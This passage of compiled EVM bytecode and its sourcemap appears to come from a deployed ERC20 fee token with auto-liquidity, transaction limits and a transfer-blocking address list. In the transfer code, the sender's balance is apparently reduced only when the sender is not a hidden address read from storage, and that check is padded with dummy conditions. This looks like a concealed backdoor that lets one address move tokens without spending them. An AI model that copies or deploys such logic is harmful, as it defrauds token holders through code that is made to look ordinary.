ffffffffffffffffffffffffffffffffffffff161415612b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b629061448f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd2906143cf565b60405180910390fd5b601f60149054906101000a900460ff1615612c0257612bfb8484846131de565b9050613129565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612ca65750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cf157601b54821115612cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce79061442f565b60405180910390fd5b5b6000612cfc30611d69565b90506000601d548210159050808015612d225750601f60149054906101000a900460ff16155b8015612d785750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d905750601f60159054906101000a900460ff165b15612dba57601f60169054906101000a900460ff1615612db057601d5491505b612db9826133b1565b5b612dc3866135a2565b15612e5e57612e1a84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f015750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f1557612f108787876135f7565b612f17565b845b9050601f60179054906101000a900460ff168015612f7f5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fae57601c54612fa282612f9489611d69565b6128c990919063ffffffff16565b1115612fad57600080fd5b5b600080612fb9575060015b1561302757600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613026576001801561301c575060005b61302557600080fd5b5b5b61307981600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161311991906144cf565b60405180910390a3600193505050505b9392505050565b6000838311158290613178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161316f91906143ad565b60405180910390fd5b506000838561318791906146c5565b9050809150509392505050565b60006131d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613130565b905092915050565b6000613269826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132fe82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161339e91906144cf565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550600061340a60026133fc6019546133ee6014548761381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b90506000613421828461319490919063ffffffff16565b905061342c816138e3565b6000479050600061345d61344c600260145461389990919063ffffffff16565b60195461319490919063ffffffff16565b9050600061349b600261348d8461347f6014548861381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b905060006134c6836134b86016548761381e90919063ffffffff16565b61389990919063ffffffff16565b905060006134ef826134e1858861319490919063ffffffff16565b61319490919063ffffffff16565b9050600081111561352757613526600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613b6e565b5b600082111561355d5761355c600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613b6e565b5b60008311801561356d5750600087115b1561357d5761357c8784613bb9565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60006135af600154613cad565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806135e6575060005b806135ef575060005b159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561367f57613678606461366a6017548661381e90919063ffffffff16565b61389990919063ffffffff16565b90506136fd565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136fc576136f960646136eb6018548661381e90919063ffffffff16565b61389990919063ffffffff16565b90505b5b60008111156138015761375881600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137f891906144cf565b60405180910390a35b613814818461319490919063ffffffff16565b9150509392505050565b6000808314156138315760009050613893565b6000828461383f919061466b565b905082848261384e919061463a565b1461388e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138859061444f565b60405180910390fd5b809150505b92915050565b60006138db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cbf565b905092915050565b6000600267ffffffffffffffff811115613900576138ff614912565b5b60405190808252806020026020018201604052801561392e5781602001602082028036833780820191505090505b5090503081600081518110613946576139456148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156139e857600080fd5b505afa1580156139fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a209190613e18565b81600181518110613a3457613a336148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a9b30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613aff95949392919061451a565b600060405180830381600087803b158015613b1957600080fd5b505af1158015613b2d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b629291906144ea565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613bb4573d6000803e3d6000fd5b505050565b613be630601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c32611f24565b426040518863ffffffff1660e01b8152600401613c5496959493929190614316565b6060604051808303818588803b158015613c6d57600080fd5b505af1158015613c81573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613ca69190614025565b5050505050565b6000613cb882613d22565b9050919050565b60008083118290613d06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cfd91906143ad565b60405180910390fd5b5060008385613d15919061463a565b9050809150509392505050565b6000819050919050565b600081359050613d3b81614b97565b92915050565b600081519050613d5081614b97565b92915050565b60008083601f840112613d6c57613d6b614946565b5b8235905067ffffffffffffffff811115613d8957613d88614941565b5b602083019150836020820283011115613da557613da461494b565b5b9250929050565b600081359050613dbb81614bae565b92915050565b600081359050613dd081614bc5565b92915050565b600081519050613de581614bc5565b92915050565b600060208284031215613e0157613e00614955565b5b6000613e0f84828501613d2c565b91505092915050565b600060208284031215613e2e57613e2d614955565b5b6000613e3c84828501613d41565b91505092915050565b60008060408385031215613e5c57613e5b614955565b5b6000613e6a85828601613d2c565b9250506020613e7b85828601613d2c565b9150509250929050565b600080600060608486031215613e9e57613e9d614955565b5b6000613eac86828701613d2c565b9350506020613ebd86828701613d2c565b9250506040613ece86828701613dc1565b9150509250925092565b60008060408385031215613eef57613eee614955565b5b6000613efd85828601613d2c565b9250506020613f0e85828601613dc1565b9150509250929050565b600080600060408486031215613f3157613f30614955565b5b600084013567ffffffffffffffff811115613f4f57613f4e614950565b5b613f5b86828701613d56565b93509350506020613f6e86828701613dac565b9150509250925092565b600060208284031215613f8e57613f8d614955565b5b6000613f9c84828501613dac565b91505092915050565b600060208284031215613fbb57613fba614955565b5b6000613fc984828501613dc1565b91505092915050565b600080600060608486031215613feb57613fea614955565b5b6000613ff986828701613dc1565b935050602061400a86828701613dc1565b925050604061401b86828701613dc1565b9150509250925092565b60008060006060848603121561403e5761403d614955565b5b600061404c86828701613dd6565b935050602061405d86828701613dd6565b925050604061406e86828701613dd6565b9150509250925092565b6000614084838361409f565b60208301905092915050565b6140998161470b565b82525050565b6140a8816146f9565b82525050565b6140b7816146f9565b82525050565b60006140c88261459f565b6140d281856145c2565b93506140dd8361458f565b8060005b8381101561410e5781516140f58882614078565b9750614100836145b5565b9250506001810190506140e1565b5085935050505092915050565b6141248161471d565b82525050565b61413381614760565b82525050565b61414281614772565b82525050565b6000614153826145aa565b61415d81856145d3565b935061416d8185602086016147a8565b6141768161495a565b840191505092915050565b600061418e6023836145d3565b91506141998261496b565b604082019050919050565b60006141b16022836145d3565b91506141bc826149ba565b604082019050919050565b60006141d4601b836145d3565b91506141df82614a09565b602082019050919050565b60006141f76028836145d3565b915061420282614a32565b604082019050919050565b600061421a6021836145d3565b915061422582614a81565b604082019050919050565b600061423d6020836145d3565b915061424882614ad0565b602082019050919050565b60006142606025836145d3565b915061426b82614af9565b604082019050919050565b60006142836024836145d3565b915061428e82614b48565b604082019050919050565b6142a281614749565b82525050565b6142b181614753565b82525050565b60006020820190506142cc60008301846140ae565b92915050565b60006020820190506142e76000830184614090565b92915050565b600060408201905061430260008301856140ae565b61430f60208301846140ae565b9392505050565b600060c08201905061432b60008301896140ae565b6143386020830188614299565b6143456040830187614139565b6143526060830186614139565b61435f60808301856140ae565b61436c60a0830184614299565b979650505050505050565b600060208201905061438c600083018461411b565b92915050565b60006020820190506143a7600083018461412a565b92915050565b600060208201905081810360008301526143c78184614148565b905092915050565b600060208201905081810360008301526143e881614181565b9050919050565b60006020820190508181036000830152614408816141a4565b9050919050565b60006020820190508181036000830152614428816141c7565b9050919050565b60006020820190508181036000830152614448816141ea565b9050919050565b600060208201905081810360008301526144688161420d565b9050919050565b6000602082019050818103600083015261448881614230565b9050919050565b600060208201905081810360008301526144a881614253565b9050919050565b600060208201905081810360008301526144c881614276565b9050919050565b60006020820190506144e46000830184614299565b92915050565b60006040820190506144ff6000830185614299565b818103602083015261451181846140bd565b90509392505050565b600060a08201905061452f6000830188614299565b61453c6020830187614139565b818103604083015261454e81866140bd565b905061455d60608301856140ae565b61456a6080830184614299565b9695505050505050565b600060208201905061458960008301846142a8565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145ef82614749565b91506145fa83614749565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561462f5761462e614856565b5b828201905092915050565b600061464582614749565b915061465083614749565b9250826146605761465f614885565b5b828204905092915050565b600061467682614749565b915061468183614749565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156146ba576146b9614856565b5b828202905092915050565b60006146d082614749565b91506146db83614749565b9250828210156146ee576146ed614856565b5b828203905092915050565b600061470482614729565b9050919050565b600061471682614729565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061476b82614784565b9050919050565b600061477d82614749565b9050919050565b600061478f82614796565b9050919050565b60006147a182614729565b9050919050565b60005b838110156147c65780820151818401526020810190506147ab565b838111156147d5576000848401525b50505050565b600060028204905060018216806147f357607f821691505b60208210811415614807576148066148b4565b5b50919050565b600061481882614749565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561484b5761484a614856565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614ba0816146f9565b8114614bab57600080fd5b50565b614bb78161471d565b8114614bc257600080fd5b50565b614bce81614749565b8114614bd957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b8fa881d38c3ce54ef4e91dc2fb4f2f061144b301297bf8bc762011b6a8287664736f6c63430008070033
Deployed Bytecode Sourcemap
4487:15281:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8401:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9691:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5212:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4737:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10772:340;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6106:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8678:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10431:333;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14409:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11902:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4784:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13077:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12623:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8587:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12491:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9060:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12359:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5160:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2896:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6221:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5562:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13351:732;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5603:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12023:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8786:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10205:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5896:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5967:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5727:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5436:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5105:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3194:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8492:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9563:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5772:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9286:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12940:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5644:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14234:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4698:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11536:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5393:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12760:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5351:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6154:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5479:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5046:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5522:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14091:100;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6268:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5309:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8909:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5261:39;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16547:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5683:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12249:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4989:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3408:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6320:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16661:205;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8401:83;8438:13;8471:5;8464:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8401:83;:::o;9691:161::-;9766:4;9783:39;9792:12;:10;:12::i;:::-;9806:7;9815:6;9783:8;:39::i;:::-;9840:4;9833:11;;9691:161;;;;:::o;5212:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;4737:40::-;;;;;;;;;;;;;:::o;10772:340::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10915:15:::1;10895:17;:35;;;;10961:15;10941:17;:35;;;;11002:10;10987:12;:25;;;;11046:58;11091:12;;11046:40;11068:17;;11046;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;11025:18;:79;;;;10772:340:::0;;;:::o;6106:41::-;;;;;;;;;;;;;:::o;8678:100::-;8731:7;8758:12;;8751:19;;8678:100;:::o;10431:333::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10573:15:::1;10554:16;:34;;;;10618:15;10599:16;:34;;;;10658:10;10644:11;:24;;;;10701:55;10744:11;;10701:38;10722:16;;10701;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10681:17;:75;;;;10431:333:::0;;;:::o;14409:313::-;14507:4;14524:36;14534:6;14542:9;14553:6;14524:9;:36::i;:::-;;14571:121;14580:6;14588:12;:10;:12::i;:::-;14602:89;14640:6;14602:89;;;;;;;;;;;;;;;;;:11;:19;14614:6;14602:19;;;;;;;;;;;;;;;:33;14622:12;:10;:12::i;:::-;14602:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14571:8;:121::i;:::-;14710:4;14703:11;;14409:313;;;;;:::o;11902:113::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11999:8:::1;11980:16;;:27;;;;;;;;;;;;;;;;;;11902:113:::0;:::o;4784:81::-;;;:::o;13077:128::-;13130:7;13157:40;13174:22;13184:11;13174:9;:22::i;:::-;13157:12;;:16;;:40;;;;:::i;:::-;13150:47;;13077:128;:::o;12623:129::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12733:10:::1;12705:17;;:39;;;;;;;;;;;;;;;;;;12623:129:::0;:::o;8587:83::-;8628:5;8653:9;;;;;;;;;;;8646:16;;8587:83;:::o;12491:124::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12596:10:::1;12576:9;;:31;;;;;;;;;;;;;;;;;;12491:124:::0;:::o;9060:218::-;9148:4;9165:83;9174:12;:10;:12::i;:::-;9188:7;9197:50;9236:10;9197:11;:25;9209:12;:10;:12::i;:::-;9197:25;;;;;;;;;;;;;;;:34;9223:7;9197:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9165:8;:83::i;:::-;9266:4;9259:11;;9060:218;;;;:::o;12359:124::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12467:8:::1;12441:23;:34;;;;12359:124:::0;:::o;5160:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;2896:82::-;;;;:::o;6221:40::-;;;;;;;;;;;;;:::o;5562:34::-;;;;:::o;13351:732::-;13431:22;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13468:35:::1;13525:16;13468:74;;13591:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13573:53;;;13635:4;13642:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13573:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13556:110;;13708:1;13682:28;;:14;:28;;;13679:200;;;13771:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13753:74;;;13836:4;13843:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13753:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13736:131;;13679:200;13905:14;13891:11;;:28;;;;;;;;;;;;;;;;;;13948:16;13930:15;;:34;;;;;;;;;;;;;;;;;;14022:4;13978:19;:41;14006:11;;;;;;;;;;;13978:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;14071:4;14037:9;:31;14055:11;;;;;;;;;;;14037:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;13455:628;13351:732:::0;;;:::o;5603:34::-;;;;:::o;12023:218::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12129:9:::1;12125:109;12148:6;;:13;;12144:1;:17;12125:109;;;12216:6;12183:19;:30;12203:6;;12210:1;12203:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12183:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12163:3;;;;;:::i;:::-;;;;12125:109;;;;12023:218:::0;;;:::o;8786:115::-;8852:7;8879:5;:14;8885:7;8879:14;;;;;;;;;;;;;;;;8872:21;;8786:115;;;:::o;10205:218::-;3331:12;:10;:12::i;:::-;3321:22;;:6;;;;;;;;;;:22;;;3313:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10309:9:::1;10305:111;10328:7;;:14;;10324:1;:18;10305:111;;;10396:8;10364:17;:29;10382:7;;10390:1;10382:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10364:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;10344:3;;;;;:::i;:::-;;;;10305:111;;;;10205:218:::0;;;:::o;5896:63::-;;;;:::o;5967:61::-;;;;:::o;5727:38::-;;;;:::o;5436:36::-;;;;:::o;5105:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;3194:79::-;3232:7;3259:6;;;;;;;;;;;3252:13;;3194:79;:::o;8492:87::-;8531:13;8564:7;8557:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8492:87;:::o;9563:120::-;9625:7;9652:23;;9645:30;;9563:120;:::o;5772:44::-;;;;:::o;9286:269::-;9379:4;9396:129;9405:12;:10;:12::i;:::-;9419:7;9428:96;9467:15;9428:96;;;;;;;;;;;;;;;;;:11;:25;9440:12;:10;:12::i;:::-;9428:25;;;;;;;;;;;;;;;:34;9454:7;